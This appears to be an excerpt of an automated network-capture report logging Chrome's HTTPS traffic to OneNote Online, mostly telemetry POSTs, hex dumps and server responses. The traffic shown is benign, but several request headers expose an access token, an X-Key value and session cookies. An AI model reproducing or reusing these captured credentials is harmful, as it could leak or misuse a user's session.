22 3a 22 61 Data Ascii: ","abbout":"about","abotu":"about","abouta":"about a","aboutit":"about it","aboutthe":"about the","abscence":"absence","accesories":"accessories","accidant":"accident","accomodate":"accommodate","accordingto":"according to","accross":"across","acheive":"a
2024-10-25 08:19:06 UTC	7389	IN	Data Raw: 61 64 6e 3b 74 22 3a 22 68 61 64 6e e2 80 99 74 22 2c 22 68 61 65 76 22 3a 22 68 61 76 65 22 2c 22 68 61 70 65 6e 22 3a 22 68 61 70 70 65 6e 22 2c 22 68 61 70 65 6e 65 64 22 3a 22 68 61 70 70 65 6e 65 64 22 2c 22 68 61 70 65 6e 69 6e 67 22 3a 22 68 61 70 70 65 6e 69 6e 67 22 2c 22 68 61 70 65 6e 73 22 3a 22 68 61 70 70 65 6e 73 22 2c 22 68 61 70 70 65 6e 64 22 3a 22 68 61 70 70 65 6e 65 64 22 2c 22 68 61 73 62 65 65 6e 22 3a 22 68 61 73 20 62 65 65 6e 22 2c 22 68 61 73 6e 3b 74 22 3a 22 68 61 73 6e e2 80 99 74 22 2c 22 68 61 73 6e 74 22 3a 22 68 61 73 6e e2 80 99 74 22 2c 22 68 61 76 65 62 65 65 6e 22 3a 22 68 61 76 65 20 62 65 65 6e 22 2c 22 68 61 76 65 69 6e 67 22 3a 22 68 61 76 69 6e 67 22 2c 22 68 61 76 65 6e 3b 74 22 3a 22 68 61 76 65 6e e2 80 99 74 Data Ascii: adn;t":"hadnt","haev":"have","hapen":"happen","hapened":"happened","hapening":"happening","hapens":"happens","happend":"happened","hasbeen":"has been","hasn;t":"hasnt","hasnt":"hasnt","havebeen":"have been","haveing":"having","haven;t":"havent
2024-10-25 08:19:06 UTC	3531	IN	Data Raw: 73 75 63 63 65 73 73 66 75 6c 22 2c 22 73 75 66 66 69 63 69 61 6e 74 22 3a 22 73 75 66 66 69 63 69 65 6e 74 22 2c 22 73 75 70 6f 73 65 64 22 3a 22 73 75 70 70 6f 73 65 64 22 2c 22 73 75 70 70 6f 73 73 65 64 22 3a 22 73 75 70 70 6f 73 65 64 22 2c 22 73 75 70 72 69 73 65 22 3a 22 73 75 72 70 72 69 73 65 22 2c 22 73 75 70 72 69 73 65 64 22 3a 22 73 75 72 70 72 69 73 65 64 22 2c 22 73 77 69 6d 69 6e 67 22 3a 22 73 77 69 6d 6d 69 6e 67 22 2c 22 74 61 68 6e 22 3a 22 74 68 61 6e 22 2c 22 74 61 68 74 22 3a 22 74 68 61 74 22 2c 22 74 61 6c 65 6b 64 22 3a 22 74 61 6c 6b 65 64 22 2c 22 74 61 6c 6b 69 67 6e 22 3a 22 74 61 6c 6b 69 6e 67 22 2c 22 74 61 74 68 22 3a 22 74 68 61 74 22 2c 22 74 65 63 6e 69 63 61 6c 22 3a 22 74 65 63 68 6e 69 63 61 6c 22 2c 22 74 65 68 22 Data Ascii: successful","sufficiant":"sufficient","suposed":"supposed","suppossed":"supposed","suprise":"surprise","suprised":"surprised","swiming":"swimming","tahn":"than","taht":"that","talekd":"talked","talkign":"talking","tath":"that","tecnical":"technical","teh"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49899	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:09 UTC	1397	OUT	POST /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 50129 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF00017C99 X-OfficeVersion: 16.0.18214.41004 X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: 4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw X-AccessTokenTtl: 1730017122364 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS11 Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:09 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 33 37 34 32 32 2c 22 4c 22 3a 5b 7b 22 47 22 3a 33 37 35 33 36 34 31 35 2c 22 54 22 3a 33 34 2c 22 4d 22 3a 22 4a 73 41 70 69 44 69 61 67 6e 6f 73 74 69 63 73 22 2c 22 43 22 3a 32 30 34 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 32 37 38 33 37 34 30 31 2c 22 54 22 3a 31 30 30 2c 22 4d 22 3a 22 41 74 74 65 6d 70 74 69 6e 67 20 74 6f 20 6c 6f 61 64 20 72 65 73 6f 75 72 63 65 20 68 74 74 70 73 3a 2f 2f 63 31 2d 6f 6e 65 6e 6f 74 65 2d 31 35 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 3a 34 34 33 2f 6f 2f 73 2f 68 46 32 44 34 41 36 37 30 43 30 30 42 37 44 39 44 5f 41 70 70 5f 53 63 72 69 70 74 73 2f 4f 6e 65 4e 6f 74 65 44 53 2e 62 6f 78 34 2e 64 6c 6c 31 2e 6a 73 22 2c 22 43 22 3a 32 30 36 2c 22 44 22 3a 35 30 7d 2c Data Ascii: {"T":1729844337422,"L":[{"G":37536415,"T":34,"M":"JsApiDiagnostics","C":204,"D":50},{"G":527837401,"T":100,"M":"Attempting to load resource https://c1-onenote-15.cdn.office.net:443/o/s/hF2D4A670C00B7D9D_App_Scripts/OneNoteDS.box4.dll1.js","C":206,"D":50},
2024-10-25 08:19:09 UTC	16384	OUT	Data Raw: 36 5c 22 2c 5c 22 53 65 63 75 72 65 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 61 72 74 5c 22 3a 5c 22 31 31 35 37 2e 36 5c 22 2c 5c 22 52 65 71 75 65 73 74 53 74 61 72 74 5c 22 3a 5c 22 32 30 34 39 2e 39 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 53 74 61 72 74 5c 22 3a 5c 22 32 34 33 31 2e 39 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 45 6e 64 5c 22 3a 5c 22 32 38 30 33 2e 37 5c 22 2c 5c 22 44 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 5c 22 32 30 33 37 32 33 5c 22 2c 5c 22 45 6e 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 5c 22 32 30 33 37 32 33 5c 22 2c 5c 22 54 72 61 6e 73 66 65 72 53 69 7a 65 5c 22 3a 5c 22 32 30 34 30 32 33 5c 22 2c 5c 22 72 65 73 70 6f 6e 73 65 53 74 61 74 75 73 5c 22 3a 5c 22 32 30 30 5c 22 2c 5c 22 54 61 62 6c 65 5c 22 3a 5c 22 52 Data Ascii: 6\",\"SecureConnectionStart\":\"1157.6\",\"RequestStart\":\"2049.9\",\"ResponseStart\":\"2431.9\",\"ResponseEnd\":\"2803.7\",\"DecodedBodySize\":\"203723\",\"EncodedBodySize\":\"203723\",\"TransferSize\":\"204023\",\"responseStatus\":\"200\",\"Table\":\"R
2024-10-25 08:19:09 UTC	16384	OUT	Data Raw: 3a 5c 22 31 37 32 39 38 34 34 33 32 37 36 32 30 5c 22 2c 5c 22 44 6f 6d 61 69 6e 4c 6f 6f 6b 75 70 45 6e 64 5c 22 3a 5c 22 31 37 32 39 38 34 34 33 32 37 36 32 30 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 53 74 61 72 74 5c 22 3a 5c 22 31 37 32 39 38 34 34 33 32 37 36 32 30 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 45 6e 64 5c 22 3a 5c 22 31 37 32 39 38 34 34 33 32 38 33 36 37 5c 22 2c 5c 22 53 65 63 75 72 65 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 61 72 74 5c 22 3a 5c 22 31 37 32 39 38 34 34 33 32 37 36 32 30 5c 22 2c 5c 22 52 65 71 75 65 73 74 53 74 61 72 74 5c 22 3a 5c 22 31 37 32 39 38 34 34 33 32 38 33 37 31 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 53 74 61 72 74 5c 22 3a 5c 22 31 37 32 39 38 34 34 33 32 38 35 33 30 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 45 6e 64 5c 22 Data Ascii: :\"1729844327620\",\"DomainLookupEnd\":\"1729844327620\",\"ConnectStart\":\"1729844327620\",\"ConnectEnd\":\"1729844328367\",\"SecureConnectionStart\":\"1729844327620\",\"RequestStart\":\"1729844328371\",\"ResponseStart\":\"1729844328530\",\"ResponseEnd\"
2024-10-25 08:19:09 UTC	977	OUT	Data Raw: 5c 22 3a 5c 22 30 5c 22 2c 5c 22 52 65 64 69 72 65 63 74 45 6e 64 5c 22 3a 5c 22 30 5c 22 2c 5c 22 46 65 74 63 68 53 74 61 72 74 5c 22 3a 5c 22 31 38 31 34 35 2e 31 5c 22 2c 5c 22 44 6f 6d 61 69 6e 4c 6f 6f 6b 75 70 53 74 61 72 74 5c 22 3a 5c 22 31 38 31 39 34 2e 34 5c 22 2c 5c 22 44 6f 6d 61 69 6e 4c 6f 6f 6b 75 70 45 6e 64 5c 22 3a 5c 22 31 38 32 30 34 2e 31 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 53 74 61 72 74 5c 22 3a 5c 22 31 38 32 30 34 2e 31 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 45 6e 64 5c 22 3a 5c 22 31 38 39 34 34 5c 22 2c 5c 22 53 65 63 75 72 65 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 61 72 74 5c 22 3a 5c 22 31 38 32 30 35 2e 34 5c 22 2c 5c 22 52 65 71 75 65 73 74 53 74 61 72 74 5c 22 3a 5c 22 31 38 39 34 34 2e 32 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 Data Ascii: \":\"0\",\"RedirectEnd\":\"0\",\"FetchStart\":\"18145.1\",\"DomainLookupStart\":\"18194.4\",\"DomainLookupEnd\":\"18204.1\",\"ConnectStart\":\"18204.1\",\"ConnectEnd\":\"18944\",\"SecureConnectionStart\":\"18205.4\",\"RequestStart\":\"18944.2\",\"Response
2024-10-25 08:19:09 UTC	1689	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 539831d8-13e0-4ad8-a448-cc38585b5bf6 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C86 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5c&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C86 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3,afd_excelslicetest_control X-MSEdge-Ref: Ref A: E62B39E5BE56489DA0460B74CE6FBB4B Ref B: DFW311000105039 Ref C: 2024-10-25T08:19:09Z Date: Fri, 25 Oct 2024 08:19:08 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49901	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:09 UTC	1693	OUT	POST /o/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build=16.0.18214.41004&waccluster=PUS11 HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 28995 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-10-25 08:19:09 UTC	16384	OUT	Data Raw: 7b 22 64 22 3a 7b 22 61 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 62 22 3a 22 65 6e 2d 55 53 22 2c 22 63 22 3a 22 56 69 65 77 22 2c 22 64 22 3a 22 56 49 45 57 22 2c 22 65 22 3a 22 31 36 2e 30 2e 31 38 32 31 34 2e 34 31 30 30 34 22 2c 22 66 22 3a 22 43 68 72 6f 6d 65 22 2c 22 67 22 3a 22 65 6e 2d 55 53 22 2c 22 68 22 3a 22 31 31 37 22 2c 22 69 22 3a 22 31 31 37 2e 30 2e 30 22 2c 22 6a 22 3a 22 31 36 2e 30 2e 31 38 32 31 34 2e 34 31 30 30 34 22 2c 22 6b 22 3a 22 50 55 53 31 31 22 2c 22 6c 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 22 3a 22 5c 22 4e 51 4c 59 43 55 33 67 4a 76 68 6c 71 2f 4f 4a 70 55 72 31 5a 6e 70 56 66 61 68 47 58 67 65 39 2b 30 66 42 62 54 38 53 4d 54 67 3d 5c 22 22 2c 22 6e 22 3a 22 4f 6e 65 44 72 69 76 65 57 4f 50 49 22 2c 22 6f 22 3a 74 72 75 65 Data Ascii: {"d":{"a":"OneNote","b":"en-US","c":"View","d":"VIEW","e":"16.0.18214.41004","f":"Chrome","g":"en-US","h":"117","i":"117.0.0","j":"16.0.18214.41004","k":"PUS11","l":"en-US","m":"\"NQLYCU3gJvhlq/OJpUr1ZnpVfahGXge9+0fBbT8SMTg=\"","n":"OneDriveWOPI","o":true
2024-10-25 08:19:09 UTC	12611	OUT	Data Raw: 2c 5c 22 72 65 64 69 72 65 63 74 65 6e 64 5c 22 3a 30 2c 5c 22 66 65 74 63 68 73 74 61 72 74 5c 22 3a 39 34 39 38 2e 35 2c 5c 22 64 6f 6d 61 69 6e 6c 6f 6f 6b 75 70 73 74 61 72 74 5c 22 3a 39 37 36 39 2e 33 39 39 39 39 39 39 39 39 39 36 35 2c 5c 22 64 6f 6d 61 69 6e 6c 6f 6f 6b 75 70 65 6e 64 5c 22 3a 39 37 36 39 2e 33 39 39 39 39 39 39 39 39 39 36 35 2c 5c 22 63 6f 6e 6e 65 63 74 73 74 61 72 74 5c 22 3a 39 37 36 39 2e 33 39 39 39 39 39 39 39 39 39 36 35 2c 5c 22 73 65 63 75 72 65 63 6f 6e 6e 65 63 74 69 6f 6e 73 74 61 72 74 5c 22 3a 39 37 37 30 2e 30 39 39 39 39 39 39 39 39 39 37 37 2c 5c 22 63 6f 6e 6e 65 63 74 65 6e 64 5c 22 3a 31 30 36 38 30 2e 35 39 39 39 39 39 39 39 39 39 37 37 2c 5c 22 72 65 71 75 65 73 74 73 74 61 72 74 5c 22 3a 31 30 36 38 31 2e Data Ascii: ,\"redirectend\":0,\"fetchstart\":9498.5,\"domainlookupstart\":9769.399999999965,\"domainlookupend\":9769.399999999965,\"connectstart\":9769.399999999965,\"secureconnectionstart\":9770.099999999977,\"connectend\":10680.599999999977,\"requeststart\":10681.
2024-10-25 08:19:09 UTC	1057	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e56f5a0d-25db-4617-a444-4e56aebafdd0 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C83 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C83 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: FBE9DAEB1B6048F9B04C7A77D77C379B Ref B: DFW311000110011 Ref C: 2024-10-25T08:19:09Z Date: Fri, 25 Oct 2024 08:19:09 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49910	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:10 UTC	607	OUT	GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:10 UTC	4504	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 307519d3-7501-4b95-bff6-1498c909c0e6 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C8D X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5b&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C8D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 2BE5BE5B12524C639C7C47C731E5BA49 Ref B: DFW311000104023 Ref C: 2024-10-25T08:19:10Z Date: Fri, 25 Oct 2024 08:19:10 GMT Connection: close
2024-10-25 08:19:10 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49918	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:10 UTC	657	OUT	GET /o/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build=16.0.18214.41004&waccluster=PUS11 HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; ShCLSessionID=1729844349229_0.9147422252239774
2024-10-25 08:19:10 UTC	1063	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 7c7f1c3a-a797-4611-bea2-5064dd89724a X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C83 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C83 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 98FEBFBCE19A465E8CC177C64D68C81E Ref B: DFW311000103021 Ref C: 2024-10-25T08:19:10Z Date: Fri, 25 Oct 2024 08:19:10 GMT Connection: close
2024-10-25 08:19:10 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-10-25 08:19:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49921	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:11 UTC	1039	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 1308 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; ShCLSessionID=1729844349229_0.9147422252239774
